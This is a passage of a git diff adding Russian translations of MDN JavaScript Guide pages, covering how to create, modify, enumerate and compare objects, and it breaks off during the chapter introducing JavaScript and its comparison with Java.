+<p>Свойства объектов JavaScript также могут быть доступны или заданы с использованием скобочной записи (более подробно см. <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessors</a>). Объекты иногда называются <em>ассоциативными массивами</em>, поскольку каждое свойство связано со строковым значением, которое можно использовать для доступа к нему. Так, например, вы можете получить доступ к свойствам объекта <code>myCar </code>следующим образом:</p>
+
+<pre class="brush: js">myCar["make"] = "Ford";
+myCar["model"] = "Mustang";
+myCar["year"] = 1969;
+</pre>
+
+<p>Имена свойств объекта могут быть строками JavaScript, или тем, что может быть сконвертировано в строку, включая пустую строку. Как бы то ни было, доступ к любому имени свойства, которое содержит невалидный JavaScript идентификатор (например, имя свойства содержит в себе пробел и тире или начинается с цифры), может быть получен с использованием квадратных скобок. Этот способ записи также полезен, когда имена свойств должны быть динамически определены (когда имя свойства не определено до момента исполнения). Примеры далее:</p>
+
+<pre class="brush: js">var myObj = new Object(),
+    str = "myString",
+    rand = Math.random(),
+    obj = new Object();
+
+myObj.type              = "Dot syntax";
+myObj["date created"]   = "String with space";
+myObj[str]              = "String value";
+myObj[rand]             = "Random Number";
+myObj[obj]              = "Object";
+myObj[""]               = "Even an empty string";
+
+console.log(myObj);
+</pre>
+
+<p>Обратите внимание, что все ключи с квадратными скобками преобразуются в тип String, поскольку объекты в JavaScript могут иметь в качестве ключа только тип String. Например, в приведенном выше коде, когда ключ <code>obj</code> добавляется в <code>myObj</code>, JavaScript вызывает метод <code>obj.toString ()</code> и использует эту результирующую строку в качестве нового ключа.</p>
+
+<p>Вы также можете получить доступ к свойствам, используя значение строки, которое хранится в переменной:</p>
+
+<div style="width: auto;">
+<pre class="brush: js">var propertyName = "make";
+myCar[propertyName] = "Ford";
+
+propertyName = "model";
+myCar[propertyName] = "Mustang";
+</pre>
+</div>
+
+<p>Вы можете пользоваться квадратными скобками в конструкции <a class="internal" href="/ru/docs/JavaScript/Guide/Statements#for...in_Statement" title="ru/docs/JavaScript/Guide/Statements#for...in Statement">for...in</a> чтобы выполнить итерацию всех свойств объекта, для которых она разрешена. Чтобы показать как это работает, следующая функция показывает все свойства объекта, когда вы передаете в нее сам объект и его имя как аргументы функции:</p>
+
+<pre class="brush: js">function showProps(obj, objName) {
+  var result = "";
+  for (var i in obj) {
+    if (obj.hasOwnProperty(i)) {
+        result += objName + "." + i + " = " + obj[i] + "\n";
+    }
+  }
+  return result;
+}
+</pre>
+
+<p>Так что если вызвать эту функцию вот так <code>showProps(myCar, "myCar"),</code> то получим результат:</p>
+
+<pre class="brush: js">myCar.make = Ford
+myCar.model = Mustang
+myCar.year = 1969</pre>
+
+<h2 id="Перечисление_всех_свойств_объекта">Перечисление всех свойств объекта</h2>
+
+<p>Начиная с <a href="/ru/docs/JavaScript/ECMAScript_5_support_in_Mozilla" title="ru/docs/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5</a>, есть три способа перечислить все свойства объекта (получить их список):</p>
+
+<ul>
+ <li>циклы <a href="/ru/docs/JavaScript/Reference/Statements/for...in" title="/ru/docs/JavaScript/Reference/Statements/for...in">for...in </a><br>
+  Этот метод перебирает все перечисляемые свойства объекта и его цепочку прототипов</li>
+ <li><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/keys" title="ru/docs/JavaScript/Reference/Global Objects/Object/keys">Object.keys(o)</a><br>
+  Этот метод возвращает массив со всеми собственными (те, что в цепочке прототипов, не войдут в массив) именами перечисляемых свойств объекта <code>o</code>.</li>
+ <li><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="ru/docs/JavaScript/Reference/Global Objects/Object/getOwnPropertyNames">Object.getOwnPropertyNames(o)</a><br>
+  Этот метод возвращает массив содержащий все имена своих свойств (перечисляемых и неперечисляемых) объекта <code>o</code>.</li>
+</ul>
+
+<p>До ECMAScript 5 не было встроенного способа перечислить все свойства объекта. Однако это можно сделать с помощью следующей функции:</p>
+
+<pre class="brush: js">function listAllProperties(o){
+	var objectToInspect;
+	var result = [];
+
+	for(objectToInspect = o; objectToInspect !== null; objectToInspect = Object.getPrototypeOf(objectToInspect)){
+		result = result.concat(Object.getOwnPropertyNames(objectToInspect));
+	}
+
+	return result;
+}
+</pre>
+
+<p>Это может быть полезно для обнаружения скрытых (hidden) свойств (свойства в цепочке прототипа, которые недоступны через объект, в случае, если другое свойство имеет такое же имя в предыдущем звене из цепочки прототипа). Перечислить доступные свойства можно, если удалить дубликаты из массива.</p>
+
+<h2 id="Создание_новых_объектов">Создание новых объектов</h2>
+
+<p>JavaScript содержит набор встроенных объектов. Также вы можете создавать свои объекты. Начиная с JavaScript 1.2, вы можете создавать объект с помощью инициализатора объекта. Другой способ <span style="line-height: 1.5;">—</span>  создать функцию-конструктор и сделать экземпляр объекта с помощью этой функции и оператора <code>new</code>.</p>
+
+<h3 id="Использование_инициализаторов_объекта">Использование инициализаторов объекта</h3>
+
+<p>Помимо создания объектов с помощью функции-конструктора вы можете создавать объекты и другим, особым способом. Фактически, вы можете записать объект синтаксически, и он будет создан интерпретатором автоматически во время выполнения. Эта синтаксическая схема приведена ниже:</p>
+
+<pre class="brush: js">var obj = { property_1:   value_1,   // property_# may be an identifier...
+            2:            value_2,   // or a number...
+            // ...,
+            "property n": value_n }; // or a string
+</pre>
+
+<p>здесь <code>obj</code> <span style="line-height: 1.5;">—</span> это имя нового объекта, каждое <code>property_i</code> <span style="line-height: 1.5;">—</span> это идентификатор (имя, число или строковый литерал), и каждый <code>value_i</code> <span style="line-height: 1.5;">—</span> это значения, назначенные <em><code>property_i</code></em>. Имя <code>obj</code> и ссылка объекта на него необязательна; если далее вам не надо будет ссылаться на данный объект, то вам не обязательно назначать объект переменной. (Обратите внимание, что вам потребуется обернуть литерал объекта в скобки, если объект находится в месте, где ожидается инструкция, чтобы интерпретатор не перепутал его с блоком.)</p>
+
+<p>Если объект создан при помощи инициализатора объектов на высшем уровне скрипта, то JavaScript интерпретирует объект каждый раз, когда анализирует выражение, содержащее объект, записанный как литерал. Плюс, если пользоваться функцией инициализатором, то он будет создаваться каждый раз, когда функция вызывается.</p>
+
+<p>Следующая инструкция создает объект и назначает его переменной <code>x</code>, когда выражение <code>cond</code> истинно.</p>
+
+<pre class="brush: js">if (cond) var x = {hi: "there"};
+</pre>
+
+<p>Следующий пример создает объект <code>myHonda</code> с тремя свойствами. Заметьте, что свойство <code>engine</code> <span style="line-height: 1.5;">—</span> это также объект со своими собственными свойствами.</p>
+
+<pre class="brush: js">var myHonda = {
+  color: "red",
+  wheels: 4,
+  engine: {
+    cylinders: 4,
+    size: 2.2
+  }
+};
+</pre>
+
+<p>Вы также можете использовать инициализатор объекта для создания массивов. Смотрите {{ web.link("Values%2C_variables%2C_and_literals#Array_literals", "array literals") }}.</p>
+
+<p>До JavaScript 1.1 не было возможности пользоваться инициализаторами объекта. Единственный способ создавать объекты <span style="line-height: 1.5;">—</span> это пользоваться функциями-конструкторами или функциями других объектов, предназначенных для этой цели. Смотрите {{ anch("Using a constructor function") }}.</p>
+
+<h3 id="Использование_функции_конструктора">Использование функции конструктора</h3>
+
+<p>Другой способ создать объект в два шага описан ниже:</p>
+
+<ol>
+ <li>Определите тип объекта, написав функцию-конструктор. Название такой функции, как правило, начинается с заглавной буквы.</li>
+ <li>Создайте экземпляр объекта с помощью ключевого слова <code>new</code>.</li>
+</ol>
+
+<p>Чтобы определить тип объекта создайте функцию, которая определяет тип объекта, его имя, свойства и методы. Например предположим, что вы хотите создать тип объекта для описания машин. Вы хотите, чтобы объект этого типа назывался <code>car</code>, и вы хотите, чтобы у него были свойства make, model, и year. Чтобы сделать это, напишите следующую функцию:</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+</pre>
+
+<p>Заметьте, что используется <code>this</code> чтобы присвоить значения (переданные как аргументы функции) свойствам объекта.</p>
+
+<p>Теперь вы можете создать объект, называемый <code>mycar</code>, следующим образом:</p>
+
+<pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993);
+</pre>
+
+<p>Эта инструкция создает объект типа Car со ссылкой <code>mycar</code> и присваивает определенные значения его свойствам. Значением <code>mycar.make </code>станет строка "Eagle", <code>mycar.year</code> <span style="line-height: 1.5;">—</span> это целое число 1993, и так далее.</p>
+
+<p>Вы можете создать столько объектов <code>car,</code> сколько нужно, просто вызывая  <code>new</code>. Например:</p>
+
+<pre class="brush: js">var kenscar = new Car("Nissan", "300ZX", 1992);
+var vpgscar = new Car("Mazda", "Miata", 1990);
+</pre>
+
+<p>Объект может иметь свойство, которое будет другим объектом. Например, далее определяется объект типа <code>Person</code> следующим образом:</p>
+
+<pre class="brush: js">function Person(name, age, sex) {
+  this.name = name;
+  this.age = age;
+  this.sex = sex;
+}
+</pre>
+
+<p>и затем создать два новых экземпляра объектов <code>Person</code> как показано далее:</p>
+
+<pre class="brush: js">var rand = new Person("Rand McKinnon", 33, "M");
+var ken = new Person("Ken Jones", 39, "M");
+</pre>
+
+<p>Затем, вы можете переписать определение <code>car</code> и включить в него свойство <code>owner</code>, которому назначить объект <code>person</code> следующим образом:</p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+}
+</pre>
+
+<p>Затем, чтобы создать экземпляры новых объектов, выполните следующие инструкции:</p>
+
+<pre class="brush: js">var car1 = new Car("Eagle", "Talon TSi", 1993, rand);
+var car2 = new Car("Nissan", "300ZX", 1992, ken);
+</pre>
+
+<p>Заметьте, что вместо того, чтобы передавать строку, литерал или целое число при создании новых объектов, в выражениях выше передаются объекты <code>rand</code> и <code>ken</code> как аргумент функции. Теперь, если вам нужно узнать имя владельца car2, это можно сделать следующим образом:</p>
+
+<pre class="brush: js">car2.owner
+</pre>
+
+<p>Заметьте, что в любое время вы можете добавить новое свойство ранее созданному объекту. Например, выражение</p>
+
+<pre class="brush: js">car1.color = "black";
+</pre>
+
+<p>добавляет свойство <code>color</code> к car1, и устанавливаего его значение равным "black." Как бы там ни было, это не влияет на любые другие объекты. Чтобы добавить новое свойство всем объектам одного типа, вы должны добавить свойство в определение типа объекта <code>car</code>.</p>
+
+<h3 id="Использование_метода_Object.create">Использование метода Object.create</h3>
+
+<p>Объекты также можно создавать с помощью метода <code>Object.create</code>. Этот метод очень удобен, так как позволяет вам указывать объект прототип для нового вашего объекта без определения функции конструктора.</p>
+
+<pre class="brush: js">// список свойств и методов для Animal
+var Animal = {
+  type: 'Invertebrates', // Значение type по умолчанию
+  displayType: function() {  // Метод отображающий тип объекта Animal
+    console.log(this.type);
+  }
+};
+
+// Создаем объект Animal
+var animal1 = Object.create(Animal);
+animal1.displayType(); // Выведет:Invertebrates
+
+// Создаем объект Animal и присваиваем ему type = Fishes
+var fish = Object.create(Animal);
+fish.type = 'Fishes';
+fish.displayType(); // Выведет:Fishes</pre>
+
+<h2 id="Наследование">Наследование</h2>
+
+<p>Все объекты в JavaScript наследуются как минимум от другого объекта. Объект, от которого произошло наследование называется прототипом, и унаследованные свойства могут быть найдены в объекте <code>prototype</code> конструктора.</p>
+
+<h2 id="Индексы_свойств_объекта">Индексы свойств объекта</h2>
+
+<p>В JavaScript 1.0 вы можете сослаться на свойства объекта либо по его имени, либо по его порядковому индексу. В JavaScript 1.1 и позже, если вы изначально определили свойство по имени, вы всегда должны ссылаться на него по его имени, и если вы изначально определили свойство по индексу, то должны ссылаться на него по его индексу.</p>
+
+<p>Это ограничение налагается когда вы создаете объект и его свойства с помощью функции конструктора (как мы это делали ранее с типом <em>Car </em>) и когда вы определяете индивидуальные свойства явно (например, <code>myCar.color = "red"</code>). Если вы изначально определили свойство объекта через индекс, например <code>myCar[5] = "25 mpg"</code>, то впоследствии сослаться на это свойство можно только так <code>myCar[5]</code>.</p>
+
+<p>Исключение из правил <span style="line-height: 1.5;">—</span> объекты, отображаемые из HTML, например массив<code> forms</code>. Вы всегда можете сослаться на объекты в этих массивах или используя их индекс (который основывается на порядке появления в HTML документе), или по их именам (если таковые были определены). Например, если второй html-тег <code>&lt;FORM&gt;</code> в документе имеет значение аттрибута <code>NAME</code> равное "myForm", вы можете сослаться на эту форму вот так: <code>document.forms[1]</code> или <code>document.forms["myForm"]</code> или <code>document.myForm</code>.</p>
+
+<h2 id="Определение_свойств_для_типа_объекта">Определение свойств для типа объекта</h2>
+
+<p>Вы можете добавить свойство к ранее определенному типу объекта воспользовавшись специальным свойством <code>prototype</code>. Через <code>prototype</code> создается свойство, единое для всех объектов данного типа, а не одного экземпляра этого типа объекта. Следующий код демонстрирует это, добавляя свойство <code>color</code> ко всем объектам типа <code>car</code>, а затем присваивая значение свойству <code>color</code> объекта<code> car1</code>.</p>
+
+<pre class="brush: js">Car.prototype.color = null;
+car1.color = "black";
+</pre>
+
+<p>Смотрите <a href="/ru/docs/JavaScript/Reference/Global_Objects/Function/prototype" title="ru/docs/JavaScript/Reference/Global Objects/Function/prototype"><code>свойство prototype</code></a> объекта <code>Function</code> в <a href="/ru/docs/JavaScript/Reference" title="ru/docs/JavaScript/Reference">Справочнике JavaScript </a>для получения деталей.</p>
+
+<h2 id="Определение_методов">Определение методов</h2>
+
+<p><em>Метод</em> <span style="line-height: 1.5;">—</span> это функция, ассоциированная с объектом или, проще говоря, метод <span style="line-height: 1.5;">—</span> это свойство объекта, являющееся функцией. Методы определяются так же, как и обычные функции, за тем исключением, что они присваиваются свойству объекта. Например вот так:</p>
+
+<pre class="brush: js">objectName.methodname = function_name;
+
+var myObj = {
+  myMethod: function(params) {
+    // ...do something
+  }
+};
+</pre>
+
+<p>где <code>objectName</code> <span style="line-height: 1.5;">— </span>это существующий объект, <code>methodname</code> <span style="line-height: 1.5;">— </span>это имя, которое вы присваиваете методу, и <code>function_name</code> <span style="line-height: 1.5;">—</span> это имя самой функции.</p>
+
+<p>Затем вы можете вызвать метод в контексте объекта следующим образом:</p>
+
+<pre class="brush: js">object.methodname(params);
+</pre>
+
+<p>Вы можете определять методы для типа объекта, включая определение метода в функцию конструктора объекта. Например, вы можете определить функцию, которая форматирует и отображает свойства до этого определенных объектов <code>car</code>. Например,</p>
+
+<pre class="brush: js">function displayCar() {
+  var result = "A Beautiful " + this.year + " " + this.make
+    + " " + this.model;
+  pretty_print(result);
+}
+</pre>
+
+<p>где <code>pretty_print</code> <span style="line-height: 1.5;">—</span> это функция отображения горизонтальной линии и строки. Заметьте, что использование <code>this</code> позволяет ссылаться на объект, которому принадлежит метод.</p>
+
+<p>Вы можете сделать эту функцию методом <code>car,</code> добавив инструкцию</p>
+
+<pre class="brush: js">this.displayCar = displayCar;
+</pre>
+
+<p>к определению объекта. Таким образом, полное определение <code>car</code> примет следующий вид:</p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+  this.displayCar = displayCar;
+}
+</pre>
+
+<p>Теперь вы можете вызвать метод <code>displayCar</code> для каждого из объектов как показано ниже:</p>
+
+<pre class="brush: js">car1.displayCar();
+car2.displayCar();
+</pre>
+
+<h2 id="Использование_this_для_ссылки_на_объект">Использование <code>this</code> для ссылки на объект</h2>
+
+<p>В JavaScript есть специальное ключевое слово this, которое вы можете использовать внутри метода, чтобы ссылаться на текущий объект. Предположим, у вас есть функция validate, которая сверяет свойство value, переданного ей объекта с некоторыми верхним и нижним значениями:</p>
+
+<pre class="brush: js">function validate(obj, lowval, hival) {
+  if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+    alert("Invalid Value!");
+}
+</pre>
+
+<p>Вы можете вызвать эту функцию <code>validate</code> в каждом элементе формы, в обработчике события <code>onchange</code>. Используйте <code>this</code> для доступа к этому элементу, как это сделано ниже:</p>
+
+<pre class="brush: html">&lt;input type="text" name="age" size="3"
+  onChange="validate(this, 18, 99)"&gt;
+</pre>
+
+<p>В общем случае, <code>this</code> ссылается на объект, вызвавший метод.</p>
+
+<p>Через <code>this</code> можно обратиться и к родительской форме элемента, воспользовавшись свойством <code>form</code>. В следующем примере форма <code>myForm</code> содержит элемент ввода <code>Text </code>и кнопку <code>button1</code>. Когда пользователь нажимает кнопку, значению объекта <code>Text</code> назначается имя формы. Обработчик событий кнопки <code>onclick</code> пользуется <code>this.form</code> чтобы сослаться на текущую форму, <code>myForm</code>.</p>
+
+<pre class="brush: html">&lt;form name="myForm"&gt;
+&lt;p&gt;&lt;label&gt;Form name:&lt;input type="text" name="text1" value="Beluga"&gt;&lt;/label&gt;
+&lt;p&gt;&lt;input name="button1" type="button" value="Show Form Name"
+     onclick="this.form.text1.value = this.form.name"&gt;
+&lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h2 id="Определение_геттеров_и_сеттеров">Определение геттеров и сеттеров</h2>
+
+<p><em><a href="/ru/docs/Web/JavaScript/Reference/Functions/get">Геттер </a>(от англ. get - получить) </em><span style="line-height: 1.5;">—</span><em> </em>это метод, который получает значение определенного свойства. <em><a href="/ru/docs/Web/JavaScript/Reference/Functions/set">Сеттер </a>(от англ. set </em><span style="line-height: 1.5;">—</span><em> присвоить)</em> <span style="line-height: 1.5;">—</span> это метод, который присваивает значение определенному свойству объекта. Вы можете определить геттеры и сеттеры для любых из встроенных или определенных вами объектов, которые поддерживают добавление новых свойств. Синтаксис определения геттеров и сеттеров использует литеральный синтаксис объектов.</p>
+
+<p>Ниже проиллюстрировано, как могут работать геттеры и сеттеры в объекте определенном пользователем:</p>
+
+<pre class="brush: js"><code>var o = {
+  a: 7,
+  get b() {
+    return this.a + 1;
+  },
+  set c(x) {
+    this.a = x / 2;
+  }
+};
+
+console.log(o.a); // 7
+console.log(o.b); // 8
+o.c = 50;
+console.log(o.a); // 25</code></pre>
+
+<p>Объект <code>o</code> получит следующие свойства:</p>
+
+<ul>
+ <li><code>o.a</code> — число</li>
+ <li><code>o.b</code> — геттер, который возвращает <code>o.a</code> плюс 1</li>
+ <li><code>o.c</code> — сеттер, который присваивает значение <code>o.a</code> половине значения которое передано в <code>o.c</code></li>
+</ul>
+
+<p>Следует особо отметить, что имена функций, указанные в литеральной форме "[gs]et <em>propertyName</em>() { }" не будут в действительности являться именами геттера и сеттера. Чтобы задать в качестве геттера и сеттера функции с явно определенными именами, используйте метод <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/Core JavaScript 1.5 Reference/Global
+Objects/Object/defineProperty">Object.defineProperty</a></code> (или его устаревший аналог <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineGetter" title="en-US/docs/Core JavaScript 1.5 Reference/Global
+Objects/Object/defineGetter">Object.prototype.__defineGetter__</a></code>).</p>
+
+<p>В коде ниже показано, как с помощью геттера и сеттера можно расширить прототип объекта {{jsxref("Date")}} и добавить ему свойство <code>year,</code> которое будет работать у всех экземпляров класса <code>Date</code>. Этот код использует существующие методы класса <code>Date</code> - <code>getFullYear</code> и <code>setFullYear</code> для работы геттера и сеттера.</p>
+
+<p>Определение геттера и сеттера для свойства <code>year</code>:</p>
+
+<pre class="brush: js"><code>var d = Date.prototype;
+Object.defineProperty(d, 'year', {
+  get: function() { return this.getFullYear(); },
+  set: function(y) { this.setFullYear(y); }
+});</code></pre>
+
+<p>Использование свойства <code>year</code> заданного геттером и сеттером:</p>
+
+<pre class="brush: js"><code>var now = new Date();
+console.log(now.year); // 2000
+now.year = 2001; // 987617605170
+console.log(now);
+// Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001</code></pre>
+
+<p>В принципе, геттеры и сеттеры могут быть либо:</p>
+
+<ul>
+ <li>определены при использовании {{ web.link("#Использование_инициализаторов_объекта", "Инициализаторов объекта") }}, или</li>
+ <li>добавлены существующему объекту в любой момент, при использовании методов добавления геттеров и сеттеров.</li>
+</ul>
+
+<p>Когда определение геттера и сеттера использует {{ web.link("#Использование_инициализаторов_объекта", "инициализаторы объекта") }}, все что вам нужно, это дополнить геттер префиксом <code>get</code> а сеттер префиксом <code>set</code>. При этом, метод геттера не должен ожидать каких либо параметров, в то время как метод сеттера принимает один единственный параметр (новое значение для присвоения свойству). Например:</p>
+
+<pre class="brush: js"><code>var o = {
+  a: 7,
+  get b() { return this.a + 1; },
+  set c(x) { this.a = x / 2; }
+};</code></pre>
+
+<p>Геттеры и сеттеры, могут быть добавлены существующему объекту в любой момент, при помощи метода <code>Object.defineProperties</code>. Первый параметр этого метода - объект, которому вы хотите присвоить геттер и сеттер. Второй параметр - это объект, имена свойств которого будут соответствовать именам создаваемых свойств, а значения - объекты определяющие геттер и сеттер создаваемых свойств. В следующем примере создаются в точности такие же геттер и сеттер, как и в примере выше:</p>
+
+<pre class="brush: js"><code>var o = { a: 0 };
+
+Object.defineProperties(o, {
+    'b': { get: function() { return this.a + 1; } },
+    'c': { set: function(x) { this.a = x / 2; } }
+});
+
+o.c = 10; // Запускает сеттер, который присваивает 10 / 2 (5) свойству 'a'
+console.log(o.b); // Запускает геттер, который возвращает a + 1 (тоесть 6)</code></pre>
+
+<p>То, какую из двух форм использовать для определения свойств, зависит от вашего стиля программирования и стоящей перед вами задачи. Если вы уже используете инициализатор объекта для определения прототипа, то, скорее всего, в большинстве случаев, вы воспользуетесь первой формой. Она более компактна и естественна. Однако, не редко, вторая форма является единственно возможной, в случаях, когда вы работаете с существующим объектом без доступа к его определению. Вторая форма наилучшим образом отражает динамическую природу JavaScript — но может сделать код сложным для чтения и понимания.</p>
+
+<h2 id="Удаление_свойств">Удаление свойств</h2>
+
+<p>Вы можете удалить свойство используя оператор <code>delete</code>. Следующий код показывает как удалить свойство.</p>
+
+<pre class="brush: js">//Creates a new object, myobj, with two properties, a and b.
+var myobj = new Object;
+myobj.a = 5;
+myobj.b = 12;
+
+//Removes the a property, leaving myobj with only the b property.
+delete myobj.a;
+</pre>
+
+<p>Вы также можете воспользоваться <code>delete</code> чтобы удалить глобальную переменную, если ключевое слово <code>var</code> не было использовано при ее объявлении:</p>
+
+<pre class="brush: js">g = 17;
+delete g;
+</pre>
+
+<p>Смотри <code>{{ web.link("Expressions_and_operators#delete", "delete") }}</code> чтобы получить дополнительную информацию.</p>
+
+<h2 id="Сравнение_объектов">Сравнение объектов</h2>
+
+<p>В JavaScript объекты имеют ссылочный тип. Два отдельных объекта никогда не будут равными, даже если они имеют равный набор свойств. Только сравнение двух ссылок на один и тотже объект вернет true.</p>
+
+<pre class="brush: js"><code>// Две переменных ссылаются на два объекта с одинаковыми свойствами
+var fruit = {name: 'apple'};
+var fruitbear = {name: 'apple'};
+
+fruit == fruitbear; // вернет false
+fruit === fruitbear; // вернет false</code></pre>
+
+<pre class="brush: js"><code>// Две переменные ссылаются на один общий объект
+var fruit = {name: 'apple'};
+var fruitbear = fruit;  // присвоим переменной fruitbear ссылку на объект fruit
+
+// теперь fruitbear и fruit ссылаются на один и тот же объект
+fruit == fruitbear; // вернет true
+fruit === fruitbear; // вернет true</code></pre>
+
+<pre class="brush: js"><code>fruit.name = 'grape';
+console.log(fruitbear);    // вернет { name: "grape" } вместо { name: "apple" }</code></pre>
+
+<p>Подробнее смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Операторы сравнения</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Для детального изучения читайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">подробнее об объектной модели JavaScript</a>.</li>
+ <li>Для изучения классов ECMAScript 2015 (новый способ определения объектов), читайте главу <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Classes">классы JavaScript</a>.</li>
+</ul>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Keyed_collections", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</div>
diff --git a/files/ru/web/javascript/guide/введение_в_javascript/index.html b/files/ru/web/javascript/guide/введение_в_javascript/index.html
new file mode 100644
index 0000000000..1b49c45ddb
--- /dev/null
+++ b/files/ru/web/javascript/guide/введение_в_javascript/index.html
@@ -0,0 +1,159 @@
+---
+title: Введение в JavaScript
+slug: Web/JavaScript/Guide/Введение_в_JavaScript
+tags:
+  - Beginner
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Values,_variables,_and_literals")}}</p>
+
+<div class="summary">
+<p>Данная глава является введением в JavaScript и рассматривает некоторые его фундаментальные концепции.</p>
+</div>
+
+<h2 id="Что_вам_уже_следует_знать">Что вам уже следует знать?</h2>
+
+<p>В данном руководстве предполагается, что вы имеете:</p>
+
+<ul>
+ <li>Общее понимание Internet и World Wide Web ({{Glossary("WWW")}}).</li>
+ <li>Хорошее знание HyperText Markup Language ({{Glossary("HTML")}}).</li>
+ <li>Некоторый опыт программирования. Если вы являетесь новичком в программировании, то ознакомьтесь с руководствами, приведенными на странице по <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript">JavaScript</a>.</li>
+</ul>
+
+<h2 id="Где_можно_найти_информацию_о_JavaScript">Где можно найти информацию о JavaScript?</h2>
+
+<p>Документация по JavaScript на MDN включает:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ru/docs/Learn">Изучение Web</a> предоставляет информацию для начинающих и вводит в базовые концепции программирования и Internet.</li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide">Руководство по JavaScript</a> (данное руководство) предоставляет обзор JavaScript и его объектов.</li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference">Справочник по JavaScript</a> предоставляет подробную информацию по JavaScript.</li>
+</ul>
+
+<p>Если вы являетесь новичком в JavaScript, то начните с <a href="https://developer.mozilla.org/ru/docs/Learn">Изучение Web</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide">Руководство по JavaScript</a>. Как только вы освоите фундаментальные концепции, используйте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference">Справочник по JavaScript</a> для того, чтобы получить более подробную информацию о конкретных объектах или операторах.</p>
+
+<h2 id="Что_такое_JavaScript">Что такое JavaScript?</h2>
+
+<p>JavaScript — это кросс-платформенный, объектно-ориентированный скриптовый язык, являющийся небольшим и легковесным. Внутри среды исполнения JavaScript может быть связан с объектами данной среды и предоставлять программный контроль над ними.</p>
+
+<p>JavaScript включает стандартную библиотеку объектов, например, <code>Array</code>, <code>Date</code> и <code>Math</code>, а также базовый набор языковых элементов, например, операторы и управляющие конструкции. Ядро JavaScript может быть расширено для различных целей путем добавления в него новых объектов, например:</p>
+
+<ul>
+ <li>JavaScript на стороне клиента расширяет ядро языка, предоставляя объекты для контроля браузера и его Document Object Model (DOM). Например, клиентские расширения позволяют приложению размещать элементы в форме HTML и обрабатывать пользовательские события, такие как щелчок мыши, ввод данных в форму и навигация по страницам.</li>
+ <li>JavaScript на стороне сервера расширяет ядро языка, предоставляя объекты для запуска JavaScript на сервере. Например, расширение на стороне сервера позволяет приложению соединяться с базой данных, обеспечивать непрерывность информации между вызовами приложения или выполнять манипуляции над файлами на сервере.</li>
+</ul>
+
+<h2 id="JavaScript_и_Java">JavaScript и Java</h2>
+
+<p>JavaScript и Java похожи в одних отношениях, но фундаментально отличны в других. Javascript напоминает Java, но не имеет статической типизации и строгой проверки типов, которыми обладает Java. JavaScript следует большей части синтаксиса Java в выражениях, соглашениях об именовании и основного потока управления конструкциями, поэтому он был переименован из LiveScript в JavaScript.</p>
+
+<p>В отличие от системы скомпилированных классов Java, построенной на объявлениях, JavaScript поддерживает систему исполнения, основанную на небольшом числе типов данных, представляющих числовые, логические и строковые значения. JavaScript имеет объектную модель на базе прототипов вместо более общей модели на базе классов. Модель объектов на базе прототипов предоставляет динамическое наследование, т.е. то, что наследуется, может отличаться для отдельных объектов. JavaScript также поддерживает функции без каких-либо специальных декларативных требований. Функции могут быть свойствами объектов, выполняться как свободно-типизированные методы.</p>
+
+<p>По сравнению с Java, JavaScript является языком с очень свободной формой. Вам не надо объявлять переменные, классы и методы. Вам не надо беспокоиться о том, являются ли методы публичными (public), приватными (private) или защищенными (protected), а также вам не надо реализовывать интерфейсы. Переменные, параметры и возвращаемые функциями типы не являются явно типизированными.</p>
+
+<p>Java — это язык программирования, основанный на классах и предназначенный для быстрого выполнения и безопасности типов. Безопасность типов означает, например, что вы не можете привести тип integer к типу object reference или получить доступ к приватной памяти, изменяя байт-код Java. Ориентированная на классы модель Java означает, что программы состоят исключительно из классов и их методов. Наследование классов и строгая типизация в Java обычно требуют тесно связанные иерархии объектов. Эти требования делают программирование на Java более комплексным, чем программирование на JavaScript.</p>
+
+<p>По духу JavaScript происходит от небольших, динамически типизированных языков, таких как HyperTalk и dBASE. Эти скриптовые языки предлагают инструменты программирования для гораздо более широкой аудитории благодаря более простому синтаксису, специализированной встроенной функциональности и минимальным требованиям для создания объектов.</p>
+
+<table class="standard-table">
+ <caption>Сравнение JavaScript и Java</caption>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Объектно-ориентированный. Нет различий между типами объектов. Наследование реализовано через механизм прототипов, свойства и методы могут быть добавлены в любой объект динамически.</td>
+   <td>На базе классов. Объекты делятся на классы и экземпляры с наследованием через классовую иерархию. Классы и экземпляры не могут иметь динамически добавленные свойства или методы.</td>
+  </tr>
+  <tr>
+   <td>Типы данных переменных не объявляются (динамическая типизация).</td>
+   <td>Типы данных переменных должны быть объявлены (статическая типизация).</td>
+  </tr>
+  <tr>
